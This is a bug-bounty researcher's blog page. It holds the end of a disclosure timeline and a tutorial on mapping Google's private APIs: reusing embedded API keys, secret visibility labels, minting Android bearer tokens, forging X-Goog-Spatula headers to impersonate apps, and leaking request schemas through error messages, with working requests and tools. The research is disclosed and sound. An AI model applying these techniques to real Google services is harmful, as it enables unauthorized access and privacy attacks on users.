Remove the target from the Pixel recording (cleanup)

Here's a POC of the exploit in action:

Timeline

2024-09-15 - Report sent to vendor
2024-09-16 - Vendor triaged report
2024-09-16 - 🎉 Nice catch!
2024-10-03 - Panel marks it as duplicate of existing-tracked bug, does botched patch of initial YouTube obfuscated Gaia ID disclosure
2024-10-03 - Clarified to vendor that they haven't recognized Pixel recorder as vulnerability itself (since obfuscated Gaia IDs are leaked for Google Maps/Play reviewers) and provided vendor a work-around method to once again leak YouTube channel obfuscated Gaia IDs
2024-11-05 - Panel awards $3,133. Rationale: Exploitation likelihood is medium. Issue qualified as an abuse-related methodology with high impact.
2024-12-03 - Product team sent report back to panel for additional reward consideration, coordinates disclosure for 2025-02-03
2024-12-12 - Panel awards an additional $7,500. Rationale: Exploitation likelihood is high. Issue qualified as an abuse-related methodology with high impact. Applied 1 downgrade from the base amount due to complexity of attack chain required.
2025-01-29 - Vendor requests extension for disclosure to 2025-02-02
2025-02-09 - Confirm to vendor that both parts of the exploit have been fixed (T+147 days since disclosure)
2025-02-12 - Report disclosed

Decoding Google: Converting a Black Box to a White Box

Fri, 01 Nov 2024 00:00:00 GMT

We've all been there - staring at Google's search box, overwhelmed by the maze of complexity hiding behind that minimalist interface, thinking it's impossible to break in. The key to decoding Google? Converting the attack surface from a black box to a white box. The first step is finding all the endpoints that exist, and all of their respective parameters, especially ones that are hidden and aren't used in the actual app and were left from some developer testing, since they likely contain security bugs.

How Google API authentication works on the web
Secret visibility labels
How Google API authentication works on Android
A word on X-Goog-Spatula
Leaking request parameters through error messages

In Google, there's something known as discovery documents that are essentially like swagger documents, intended for listing API methods on Google's public APIs such as their YouTube Data API (discovery). As it turns out, these discovery documents aren't just available for their public APIs but also for their private ones such as the Internal People API (discovery).

While this discovery document doesn't require any authentication to view, if we try fetching something like the Takeout Private API, we get the following error:

Request

GET /$discovery/rest
Host: takeout-pa.googleapis.com

Response

HTTP/2 403 Forbidden
Content-Type: application/json; charset=UTF-8

{
  "error": {
    "code": 403,
    "message": "Method doesn't allow unregistered callers (callers without established identity). Please use API Key or other form of API consumer identity to call this API.",
    "status": "PERMISSION_DENIED"
  }
}

Thankfully, by looking into how Google authentication works, it's possible to get past this.

How Google API authentication works on the web

If we look at a random request to the People Internal API to lookup a Google user from the web that we can find from DevTools on https://chat.google.com:

POST /$rpc/google.internal.people.v2.minimal.InternalPeopleMinimalService/GetPeople HTTP/2
Host: people-pa.clients6.google.com
Cookie: 
Content-Type: application/json+protobuf
X-Goog-Api-Key: AIzaSyB0RaagJhe9JF2mKDpMml645yslHfLI8iA
Origin: https://chat.google.com
Authorization: SAPISIDHASH 
...

Note: clients6.google.com is an alias for googleapis.com

The first important header here is X-Goog-Api-Key. This API key gives us permission to call endpoints in the Internal People API. This specific endpoint requires us to be authenticated with our Google account, which is done through the Cookie header and SAPISIDHASH (this value is generated using the SAPISID cookie)

If you're worked with Google Cloud before, you might know that APIs need to be enabled for your project before you can make calls to them. If we tried taking this key and doing a call to some random unrelated API like the Play Atoms Private API playatoms-pa.googleapis.com

GET /$discovery/rest
Host: playatoms-pa.googleapis.com
X-Goog-Api-Key: AIzaSyB0RaagJhe9JF2mKDpMml645yslHfLI8iA

We would get the following error:

{
  "error": {
    "code": 403,
    "message": "Play Atoms Private API has not been used in project 576267593750 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/playatoms-pa.googleapis.com/overview?project=576267593750 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.",
    ...
  }
}

This is because just like Google Cloud projects we can make ourselves, the API key we found is tied to some Google-owned Cloud project, which doesn't have the Play Atoms Private API enabled for it.

However, this key does in fact work for the staging environment of the Internal People API which otherwise without authentication isn't public:

Request

GET /$discovery/rest
Host: staging-people-pa.sandbox.googleapis.com
Referer: https://chat.google.com
X-Goog-Api-Key: AIzaSyB0RaagJhe9JF2mKDpMml645yslHfLI8iA

Note: all staging/test endpoints are under *.sandbox.googleapis.com. This API key also requires the use of the chat.google.com Referer header.

Response

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8

{
  "title": "Internal People API - Staging",
  "documentationLink": "http://boq/java/com/google/social/boq/release/socialgraphapiserver",
  "discoveryVersion": "v1",
  "id": "people_pa:v2",
  "revision": "20241031",
  ...
}

Unlike the public discovery document, this version contains comments for everything, leaking a lot of how stuff works behind-the-scenes:

...
    "InAppNotificationTarget": {
      "id": "InAppNotificationTarget",
      "description": "How and where to send notifications to this person in other apps, and why the requester can do so. See go/reachability for more info. \"How\" and \"where\" identify the recipient in a P2P Bridge (glossary/p2p bridge), and \"why\" may be helpful in a UI to disambiguate which of several ways may be used to contact the recipient. How: Via a Google profile or a reachable-only phone number that the requester has access to. Specified in the target \"type\" and \"value\". Where: Apps in which the profile/phone number owner may receive notifications. Specified in the repeated \"app\". Why: Which fields in, e.g., a contact associated with this person make the notification target info visible to the requester. Specified in the repeated originating_field param. Example: Alice has a contact Bob, with: Email 0 = bob@gmail.com Phone 0 = +12223334444 Phone 1 = +15556667777 Email 0 and Phone 0 let Alice see Bob's public profile (obfuscated gaia ID = 123). Public profiles are visible by email by default, and Bob has explicitly made it visible via Phone 0. Bob says people can send notifications to his public profile in YouTube. Phone 2 is associated with another Google profile that Bob owns, but he doesn't want others to see it. He is okay with people sending notifications to him in Who's Down if they have this phone number, however. There will be separate InAppNotificationTargets: one for Bob's public Google profile, and one for the second phone number, which is in his private profile. IANT #1 - targeting Bob's public profile (visible via Email 0 and Phone 0): app = [YOUTUBE] type = OBFUSCATED_GAIA_ID value = 123 originating_field: [ { field_type = EMAIL, field_index = 0 } // For Email 0 { field_type = PHONE, field_index = 0 } // For Phone 0 ] IANT #2 - targeting Bob's private profile phone number Phone 1: app = [WHOS_DOWN] type = PHONE value = +15556667777 originating_field: [ { field_type = PHONE, field_index = 1 } // For Phone 1 ]",
...

Update 2025-02-06: Google has removed all comments from the staging discovery doc.

Secret visibility labels

As it turns out, certain Google cloud projects have visibility labels enabled for them, giving them more access than others. Endpoints can be hidden behind visibility labels, and they won't show up in the discovery document unless the secret labels parameter is provided. This was discovered by an awesome researcher Ezequiel Pereira who now works at Google.

For instance, if we use the API key AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g that we can find from console.cloud.google.com and try fetching the discovery document for servicemanagement.googleapis.com

Request

GET /$discovery/rest HTTP/2
Host: servicemanagement.googleapis.com
Content-Type: application/json
X-Goog-Api-Key: AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
Referer: https://console.cloud.google.com

The response would have 214k bytes. However, if we try this same request with &labels=PANTHEON

GET /$discovery/rest?labels=PANTHEON HTTP/2
Host: servicemanagement.googleapis.com
Content-Type: application/json
X-Goog-Api-Key: AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
Referer: https://console.cloud.google.com

The response now has 329k bytes and there's a lot more hidden documentation revealed.

Additionally, certain APIs like the Internal People API provide extra permissions for specific API clients. So far, we've covered how we can use API keys to fetch discovery documents or access endpoints in the context of Google Cloud projects that have their keys used in Google web services. However, by learning how authorization works on Android, we can get access to the context of lot more Google Cloud projects.

How Google API authentication works on Android

If you've ever logged into a Google account via Google Play Services (GPS) on an Android device, you might have noticed that all Google apps are able to authenticate as your Google account seamlessly, without having to manually log into each one.

The way this works is your Google account's Android session is actually tied to a refresh token that's generated the first time you log in. Unlike on the web where Google internal APIs use cookies for authentication, on Android and iOS scoped bearer tokens generated from a refresh token are used instead.
On Android, that same Internal People API request would look something like this:

POST /$rpc/google.internal.people.v2.minimal.InternalPeopleMinimalService/GetPeople HTTP/2
Host: people-pa.clients6.google.com
Content-Type: application/json+protobuf
Authorization: ya29.
...

There is no need for an API key for this request, as the bearer token actually includes the context of the Google API project that you used to generate the bearer token. (this will make more sense once we look into how bearer tokens are generated from an android refresh token)

The interesting thing about some Google APIs is that requests from the context of certain Google Cloud project IDs have extra functionality/permissions enabled just for that project on that API. This is usually based on the requirements of the client (ex. the Google Chat app may need to be able to fetch extra information on other Google users from the Internal People API as compared to something like Google Earth)

Android Refresh Tokens (aas/xx)

So, how can we generate an Android refresh token to use for testing? It's actually quite simple. We can simply visit https://accounts.google.com/EmbeddedSetup, go through the authentication flow, and at the end there will be a cookie set called oauth_token

We can then do the following request to exchange this oauth_token for an Android refresh token:

POST /auth
Host: android.googleapis.com
User-Agent: com.google.android.gms/243530022
Content-Type: application/x-www-form-urlencoded

androidId=fb213fefa471dcde&Token=&service=ac2dm&get_accountid=1&ACCESS_TOKEN=1&callerPkg=com.google.android.gms&add_account=1&callerSig=38918a453d07199354f8b19af05ec6562ced5788

The androidId is just any random 16 character hex string. At the moment you don't require this for generating a bearer token, but this could change in the future so it's advisable to store it along with your Android refresh token.

On newer Android versions, a DroidGuard token is also supplied to this request. My guess is that it's likely an anti-abuse measure. However, they're unable to enforce this token without breaking Google Play Services support for older Android devices. It's possible this could be changed in the future though.

The response to the request will look something like this:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8

Token=aas_et/<redacted>
Auth=g.a000<redacted>
SID=BAD_COOKIE
LSID=BAD_COOKIE
services=mail,hist,dynamite,cl,youtube,jotspot,uif,multilogin,analytics
Email=<redacted>@gmail.com
GooglePlusUpdate=0
firstName=<redacted>
lastName=<redacted>
capabilities.canHaveUsername=1
capabilities.canHavePassword=1
...

You can actually see this Android device on https://myaccount.google.com/device-activity

Generating a Bearer Token

Now that you have an Android refresh token, you can use this to generate a bearer token in the context of a Android app's Google Cloud project with the scopes that you require.

This is an example request to generate scopes for Google Play Games to use with playgateway-pa.googleapis.com

POST /auth HTTP/2
Host: android.googleapis.com
User-Agent: GoogleAuth/1.4
Content-Length: 808
Content-Type: application/x-www-form-urlencoded

androidId=fb213fefa471dcde&app=com.google.android.play.games&service=oauth2:https://www.googleapis.com/auth/games.firstparty https://www.googleapis.com/auth/googleplay&client_sig=38918a453d07199354f8b19af05ec6562ced5788&has_permission=1&Token=

Let's breakdown everything in that request:

Parameter	Explanation
android_id	This isn't validated, it can be any 16 character hex string
app	Package name of the app that's cloud project context you wish to use.
service	Space seperated scopes
client_sig	SHA1 hash in hex format of the app's signature
has_permission	Only required on few android clients that don't have auto mode enabled for them.
Token	Your Android refresh token

It's actually possible to omit client_sig and app for certain scopes, but you wouldn't have the context of the Google API project and this does not work for most scopes.

The first problem we have is, let's say we want to get authentication on the following Google Internal People API endpoint: https://people-pa.googleapis.com/v2/people to start playing around with it, how would we know what scopes this endpoint needs?

In this case, there's a public discovery document that lists all the endpoints and the scopes for each of them, but many Google APIs may require an API key to access the discovery document which we may not always have (ex. gameswhitelisted).

Turns out, if we send a request to an endpoint with a bearer token with insufficient scopes, it actually tells us all the scopes we need:

Request

GET /v2/people
Host: people-pa.googleapis.com
Authorization: Bearer ya29.

Response

HTTP/2 403 Forbidden
Www-Authenticate: Bearer realm="https://accounts.google.com/", error="insufficient_scope", scope="https://www.googleapis.com/auth/peopleapi.legacy.readwrite https://www.googleapis.com/auth/plus.peopleapi.readwrite https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite openid https://www.googleapis.com/auth/plus.me"
Content-Type: application/json; charset=UTF-8

{
  "error": {
    "code": 403,
    "message": "Request had insufficient authentication scopes.",
    ...
        "metadata": {
          "service": "people-pa.googleapis.com",
          "method": "google.internal.people.v2.InternalPeopleService.GetPeople"
        }
    ...
  }
}

Something interesting to note: google.internal.people.v2.InternalPeopleService.GetPeople is actually the gRPC service name of the endpoint.

To simply this process, I wrote a Go script that I've published on GitHub that we can use to easily get this information:

$ export ANDROID_REFRESH_TOKEN=""
$ git clone https://github.com/ddd/req2proto
$ cd tools/gapi-service
$ go build # this requires golang to be installed, see https://go.dev/doc/install
$ ./gapi-service -e https://people-pa.googleapis.com/v2/people
scopes: https://www.googleapis.com/auth/peopleapi.legacy.readwrite https://www.googleapis.com/auth/plus.peopleapi.readwrite https://www.googleapis.com/auth/peopleapi.readwrite
method: google.internal.people.v2.InternalPeopleService.InsertPerson
service: people-pa.googleapis.com

Now that we have the scopes we need. Let's say we want to call this endpoint in the context of Google Chat. We can get the package name com.google.android.apps.dynamite from the Play Store web URL (https://play.google.com/store/apps/details?id=com.google.android.apps.dynamite) but we still need the client_sig of the app.

While this is true for most cases, the client signature isn't necessarily always the SHA1 hash of the target app's signature. To solve this problem, I collected the package names as well as SHA1 client signature of all Google apps and wrote a Rust program that bruteforces all SHA1 signature and package name combinations to find working ones. You can find the output of this script here

We can simply search this file for com.google.android.apps.dynamite and we can see that the client_sig 519c5a17a60596e6fe5933b9cb4285e7b0e5eb7b works for this app:

"com.google.android.apps.dynamite": [
    {
      "spatula": "CkAKIGNvbS5nb29nbGUuYW5kcm9pZC5hcHBzLmR5bmFtaXRlGhxVWnhhRjZZRmx1YitXVE81eTBLRjU3RGw2M3M9GLingOeJmKD6Ng==",
      "sig": "519c5a17a60596e6fe5933b9cb4285e7b0e5eb7b"
    }
  ],

A word on X-Goog-Spatula

Even though we may have authentication in the context of an app's Google API project, we can't just fetch the discovery document with it. That's where X-Goog-Spatula comes in. If you've ever looked at Android traffic to Google APIs, you might have noticed this header.

It's actually just a keyless authentication header. Similar to an API key, it's used to provide context to a specific Google Cloud project.

They look like this (base64-encoded protobuf):
Cj0KHWNvbS5nb29nbGUuYW5kcm9pZC5wbGF5LmdhbWVzGhxPSkdLUlQwSEdaTlUrTEdhOEY3R1ZpenRWNGc9GLingOeJmKD6Ng==

If we look at how this is formed:

$ echo -n "Cj0KHWNvbS5nb29nbGUuYW5kcm9pZC5wbGF5LmdhbWVzGhxPSkdLUlQwSEdaTlUrTEdhOEY3R1ZpenRWNGc9GLingOeJmKD6Ng==" | base64 -d | protoc --decode_raw
1 {
  1: "com.google.android.play.games" // package name
  3: "6Zi8TwQNyiOD+us24/5aYpwxt5A=" // base64 of SHA1 hash of the app signature
}
3: 3959931537119515576 // this is generated from DroidGuard using the device_key

This example is from some Spatula header I found on the internet

If you wish to dive into how this DroidGuard value is generated, there's an awesome gist on this, but we don't actually need to care about that in order to utilize it. As it turns out, this value isn't actually validated, and we can impersonate any client we want by simply changing the package name and SHA1 hash of the app signature.

Since just like API keys, they provide context of a Google Cloud project, we're actually able to use this to fetch discovery documents of several Android Google APIs like gameswhitelisted.googleapis.com:

Request

GET /$discovery/rest
Host: gameswhitelisted.googleapis.com
X-Goog-Spatula: Cj0KHWNvbS5nb29nbGUuYW5kcm9pZC5wbGF5LmdhbWVzGhxPSkdLUlQwSEdaTlUrTEdhOEY3R1ZpenRWNGc9GLingOeJmKD6Ng==

Response

HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8

{
  "kind": "discovery#restDescription",
  "description": "Internal-only 1P access to the oneup APIs.",
  ...

We can actually use this along with Cookie authentication on the web, as a direct replacement for X-Goog-Api-Key to get us access to the context of an Android app's Google Cloud project

Leaking request parameters through error messages

Occasionally we may come across Google APIs where there's seemingly no way to access the discovery document. This could be due to not being able to find a working API key/spatula, 404 page or otherwise. One such example is YouTube's Internal API:

Request

GET /$discovery/rest
Host: youtubei.googleapis.com

Response

HTTP/2 405 Method Not Allowed
Content-Type: text/html; charset=UTF-8
Referrer-Policy: no-referrer
...

Fun fact: there's actually 2 workaround methods to leaking the discovery document of the Innertube API. Are you able to find them? :)
Update 2025-03-01: Google has removed both the prod (archive) and staging (archive) discovery documents.

If we take a look at a random Innertube API endpoint, such as /youtubei/v1/browse endpoint and clean it up:

POST /youtubei/v1/browse HTTP/2
Host: youtubei.googleapis.com
Content-Type: application/json
Content-Length: 164

{
  "context": {
    "client": {
      "clientName": "WEB",
      "clientVersion": "2.20241101.01.00",
    }
  },
  "browseId": "UCX6OQ3DkcsbYNE6H8uQQuVA"
}

The request payload is in the json format. The browseId seems to be accepting the YouTube Channel ID as a string. What happens if we change that to a boolean like true

Request

POST /youtubei/v1/browse HTTP/2
Host: youtubei.googleapis.com
Content-Type: application/json
Content-Length: 141

{
  "context": {
    "client": {
      "clientName": "WEB",
      "clientVersion": "2.20241101.01.00",
    }
  },
  "browseId":true
}

Response

HTTP/2 400 Bad Request
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2

{
  "error": {
    "code": 400,
    "message": "Invalid value at 'browse_id' (TYPE_STRING), true",
    "errors": [
      {
        "message": "Invalid value at 'browse_id' (TYPE_STRING), true",
        "reason": "invalid"
      }
    ],
    "status": "INVALID_ARGUMENT",
    "details": [
      {
        "@type": "type.googleapis.com/google.rpc.BadRequest",
        "fieldViolations": [
          {
            "field": "browse_id",
            "description": "Invalid value at 'browse_id' (TYPE_STRING), true"
          }
        ]
      }
    ]
  }
}

It tells us that browse_id is a TYPE_STRING. So awesome, we can leak the parameter type if we know the parameter name. But how can we take this a step further?

As it turns out, in Google, there's 4 different content types:

application/json (aka. JSON)
application/json+protobuf (aka. ProtoJson)
application/x-protobuf (aka. Proto over HTTP fallback)
application/grpc

In Google, all endpoints are defined in .proto files such that they can be queried over gRPC. To allow for JSON, ProtoJson and Proto over HTTP, there's a Extensible Service Proxy (ESP) that transcodes these requests to gRPC before they hit the actual Google microservice.

For instance, if a requests JSON payload looks like this:

{
  "name": "John Smith",
  "age": 25,
  "favoriteColor": "orange"
}

The protobuf representation of this would look like this:

message Request {
  string name = 1;
  string age = 2;
  string favourite_color = 3;
}

The idea with protobuf is that sending "name", "age" and "favoriteColor" from the client to the server in every request is a waste of bandwidth especially if the server knows what to expect from the client. Hence, protobuf is just a binary format compressing the data as much as possible. It does this by assigning everything an index (ex. name is 1, age is 2 etc.)

ProtoJson is similar to this, except you just send an array rather than compressing it to protobuf:

[
  "John Smith",
  25,
  "orange"
]

You can probably see where we're going with this, what if we just sent the following to this endpoint:

[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]

Request

POST /youtubei/v1/browse HTTP/2
Host: youtubei.googleapis.com
Content-Type: application/json+protobuf
Content-Length: 22

[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]

Response

HTTP/2 400 Bad Request
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2

{
  "error": {
    "code": 400,
    "message": "Invalid value at 'context' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext), 1\nInvalid value at 'browse_id' (TYPE_STRING), 2\nInvalid value at 'params' (TYPE_STRING), 3\nInvalid value at 'continuation' (TYPE_STRING), 7\nInvalid value at 'force_ad_format' (TYPE_STRING), 8\nInvalid value at 'player_request' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerRequest), 10\nInvalid value at 'query' (TYPE_STRING), 11\nInvalid value at 'has_external_ad_vars' (TYPE_BOOL), 12\nInvalid value at 'force_ad_parameters' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ForceAdParameters), 13\nInvalid value at 'previous_ad_information' (TYPE_STRING), 14\nInvalid value at 'offline' (TYPE_BOOL), 15\nInvalid value at 'unplugged_sort_filter_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedSortFilterOptions), 16\nInvalid value at 'offline_mode_forced' (TYPE_BOOL), 17\nInvalid value at 'form_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseFormData), 18\nInvalid value at 'suggest_stats' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.SearchboxStats), 19\nInvalid value at 'lite_client_request_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.LiteClientRequestData), 20\nInvalid value at 'unplugged_browse_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedBrowseOptions), 22\nInvalid value at 'consistency_token' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ConsistencyToken), 23\nInvalid value at 'intended_deeplink' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DeeplinkData), 24\nInvalid value at 'android_extended_permissions' (TYPE_BOOL), 25\nInvalid value at 'browse_notification_params' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseNotificationsParams), 26\nInvalid value at 'recent_user_event_infos' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.RecentUserEventInfo), 28\nInvalid value at 'detected_activity_info' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DetectedActivityInfo), 30",
    ...
}

We can find every non-integer parameter this way. We can then send only booleans instead to find all non-boolean parameters (including integer parameters). We can repeat this for nested messages to find the entire possible request payload.

To simplify this process, I wrote a Go tool called req2proto which we can use to automate this.

$ git clone https://github.com/ddd/req2proto
$ go build # this requires golang to be installed, see https://go.dev/doc/install
$ ./req2proto -X POST -u https://youtubei.googleapis.com/youtubei/v1/browse -p youtube.api.pfiinnertube.GetBrowseRequest -o output -d 3 -v

If we look at output/youtube/api/pfiinnertube/message.proto, we can see the full request proto for this endpoint:

syntax = "proto3";

package youtube.api.pfiinnertube;

message GetBrowseRequest {
  InnerTubeContext context = 1;
  string browse_id = 2;
  string params = 3;
  string continuation = 7;
  string force_ad_format = 8;
  int32 debug_level = 9;
  PlayerRequest player_request = 10;
  string query = 11;
  bool has_external_ad_vars = 12;
  ForceAdParameters force_ad_parameters = 13;
  string previous_ad_information = 14;
  bool offline = 15;
  UnpluggedSortFilterOptions unplugged_sort_filter_options = 16;
  bool offline_mode_forced = 17;
  BrowseFormData form_data = 18;
  SearchboxStats suggest_stats = 19;
  LiteClientRequestData lite_client_request_data = 20;
  UnpluggedBrowseOptions unplugged_browse_options = 22;
  ConsistencyToken consistency_token = 23;
  DeeplinkData intended_deeplink = 24;
  bool android_extended_permissions = 25;
  BrowseNotificationsParams browse_notification_params = 26;
  int32 installed_sharing_service_ids = 27;
  RecentUserEventInfo recent_user_event_infos = 28;
  InlineSettingStatus inline_setting_status = 29;
  DetectedActivityInfo detected_activity_info = 30;
  BrowseRequestContext browse_request_context = 31;
  DeviceContextEvent device_context_info = 32;
  BrowseRequestSupportedMetadata browse_request_supported_metadata = 33;
  string target_id = 35;
  MySubsSettingsState subscription_settings_state = 36;
  MdxContext mdx_context = 37;
  CustomTabContext custom_tab_context = 38;
  ProducerAssetRequestData producer_asset_request_data = 39;
  LatestContainerItemEventsInfo latest_container_item_events_info = 40;
  ScrubContinuationClientData scrub_continuation_client_data = 41;
}
...

That's all for now! Happy hacking and feel free to reach out to me if you have any questions.

skull's blog

Leaking the phone number of any Google user

A deeper look into the endpoints

Can we even brute this?

What about IPv6?

Moved Temporarily

Using the BotGuard token from the JS form

A few things to sort out

How do we know which country code a victim's phone is?

How do we get the victim's Google account display name?

Optimizing it further

Putting it all together

Time required to brute the number

Timeline

Disclosing YouTube Creator Emails for a $20k Bounty

A seemingly secure endpoint

Leaking secret hidden parameters

A look into Content ID

Putting the attack together

Timeline

Additional notes

Leaking the email of any YouTube user for $10,000

Escalating this to 4 billion YouTube channels

The missing puzzle piece: Pixel Recorder

A small problem: preventing notification to the target

Putting it all together

Timeline

Decoding Google: Converting a Black Box to a White Box

Table of Contents

How Google API authentication works on the web

Secret visibility labels

How Google API authentication works on Android

Android Refresh Tokens (aas/xx)

Generating a Bearer Token

A word on X-Goog-Spatula

Leaking request parameters through error messages